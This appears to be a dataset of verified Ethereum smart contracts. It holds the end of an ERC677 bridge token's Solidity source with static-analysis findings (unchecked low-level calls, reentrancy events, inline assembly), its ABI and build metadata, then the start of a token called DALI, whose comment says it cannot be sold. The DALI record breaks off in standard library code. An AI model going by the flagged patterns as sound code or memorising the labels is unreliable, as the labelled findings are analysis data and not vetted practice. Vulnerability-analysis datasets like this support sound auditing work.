function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool);
}
// File: contracts/interfaces/IBurnableMintableERC677Token.sol
pragma solidity 0.4.24;
contract IBurnableMintableERC677Token is ERC677 {
function mint(address _to, uint256 _amount) public returns (bool);
function burn(uint256 _value) public;
function claimTokens(address _token, address _to) public;
}
// File: contracts/upgradeable_contracts/Sacrifice.sol
pragma solidity 0.4.24;
contract Sacrifice {
constructor(address _recipient) public payable {
selfdestruct(_recipient);
}
}
// File: contracts/upgradeable_contracts/Claimable.sol
pragma solidity 0.4.24;
contract Claimable {
bytes4 internal constant TRANSFER = 0xa9059cbb; // transfer(address,uint256)
modifier validAddress(address _to) {
require(_to != address(0));
/* solcov ignore next */
_;
}
function claimValues(address _token, address _to) internal {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
if (!_to.send(value)) {
(new Sacrifice).value(value)(_to);
}
}
function claimErc20Tokens(address _token, address _to) internal {
ERC20Basic token = ERC20Basic(_token);
uint256 balance = token.balanceOf(this);
safeTransfer(_token, _to, balance);
}
function safeTransfer(
address _token,
address _to,
uint256 _value
) internal {
bytes memory returnData;
bool returnDataResult;
bytes memory callData = abi.encodeWithSelector(TRANSFER, _to, _value);
assembly {
let result := call(
gas,
_token,
0x0,
add(callData, 0x20),
mload(callData),
0,
32
)
returnData := mload(0)
returnDataResult := mload(0)
switch result
case 0 {
revert(0, 0)
}
}
// Return data is optional
if (returnData.length > 0) {
require(returnDataResult);
}
}
}
// File: contracts/ERC677BridgeToken.sol
pragma solidity 0.4.24;
contract ERC677BridgeToken is
IBurnableMintableERC677Token,
DetailedERC20,
BurnableToken,
MintableToken,
Claimable
{
address public bridgeContract;
event ContractFallbackCallFailed(address from, address to, uint256 value);
constructor(
string _name,
string _symbol,
uint8 _decimals
) public DetailedERC20(_name, _symbol, _decimals) {
// solhint-disable-previous-line no-empty-blocks
}
function setBridgeContract(address _bridgeContract) external onlyOwner {
require(AddressUtils.isContract(_bridgeContract));
bridgeContract = _bridgeContract;
}
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
/* solcov ignore next */
_;
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
) external validRecipient(_to) returns (bool) {
require(superTransfer(_to, _value));
emit Transfer(msg.sender, _to, _value, _data);
if (AddressUtils.isContract(_to)) {
require(contractFallback(msg.sender, _to, _value, _data));
}
return true;
}
function getTokenInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (2, 2, 0);
}
function superTransfer(address _to, uint256 _value)
internal
returns (bool)
{
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(superTransfer(_to, _value));
callAfterTransfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(super.transferFrom(_from, _to, _value));
callAfterTransfer(_from, _to, _value);
return true;
}
function callAfterTransfer(
address _from,
address _to,
uint256 _value
) internal {
if (
AddressUtils.isContract(_to) &&
!contractFallback(_from, _to, _value, new bytes(0))
) {
require(_to != bridgeContract);
emit ContractFallbackCallFailed(_from, _to, _value);
}
}
function contractFallback(
address _from,
address _to,
uint256 _value,
bytes _data
) private returns (bool) {
return
_to.call(
abi.encodeWithSignature(
"onTokenTransfer(address,uint256,bytes)",
_from,
_value,
_data
)
);
}
function finishMinting() public returns (bool) {
revert();
}
function renounceOwnership() public onlyOwner {
revert();
}
function claimTokens(address _token, address _to)
public
onlyOwner
validAddress(_to)
{
claimValues(_token, _to);
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
return super.increaseApproval(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
return super.decreaseApproval(spender, subtractedValue);
}
} | [] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [464, 465, 462, 463]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"ERC677BridgeToken.sol": [453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [588]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ERC677BridgeToken.sol": [36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ERC677BridgeToken.sol": [52, 53, 54, 55, 56, 57]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [15]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [139, 140, 141]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [336, 333, 334, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [17]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [229, 230, 231, 232, 233]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [405, 406, 407, 408, 409]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [344, 342, 343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [723, 724, 725, 726, 727, 728]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [505]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [501]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [241, 242, 243, 244, 245, 246, 247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [716, 717, 718, 719, 720, 721]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [186]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [79]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [295]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [520]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [510]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [498]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [359]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [26]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [414]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [126]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [588]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [440]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [471]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [157]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [7]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [689, 690, 691, 692, 693, 694, 695, 696, 697]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [671]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [685]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [708]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [555]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [139]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [708]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [554]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [653]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [241]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [229]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [62]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [104]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [36]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [241]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [539]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [662]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [622]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [609]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [205]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [62]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [546]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [687]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [206]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [546]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [229]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [623]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [646]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [104]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [621]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [36]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [661]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [670]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [660]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [672]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [653]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [684]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [70]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [686]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [342]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [207]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [646]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ERC677BridgeToken.sol": [52]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ERC677BridgeToken.sol": [679]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 523, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 335, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 229, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 700, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 609, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 26, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 79, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 126, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 157, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 186, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 295, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 359, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 414, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 440, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 86, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 453, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 655, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 665, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 428, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 429, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 602, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 603, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 687, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 560, "severity": 1}] | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_bridgeContract","type":"address"}],"name":"setBridgeContract","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transferAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_token","type":"address"},{"name":"_to","type":"address"}],"name":"claimTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getTokenInterfacesVersion","outputs":[{"name":"major","type":"uint64"},{"name":"minor","type":"uint64"},{"name":"patch","type":"uint64"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"bridgeContract","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"from","type":"address"},{"indexed":false,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"ContractFallbackCallFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"data","type":"bytes"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000754696d694669540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034649540000000000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://2466f29508394f3e482079653cd29a3439f7517e47d0027ad83321f100fb234f |
||
DALI | 0x86042e422be785f545ce34be76bb510231d13c53 | Solidity | /*
q ]
0 ]&
0 0
0 0
0 0
B 0
0 0
0 ]0
0f jY
40 0'
0Y j0
40 q0'
00 _0F
0& 0@
0& _,ppg, _,pq,_ _0F
M0g _,gN00000000 _0000M000gg,_ p0M
~00g,_ _,pg0000000000000f40000000000000pg_ _,g0M^
~M0000000000000000000000@ M0000000000000000000000M^
`M000000000000000M@~` ^~MM00000000N00000M~
`~~~~~~~~` `~~~~"~~~~`
*/
// You can not sell this token, but if you want to be part of this token feel free to be involved.
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
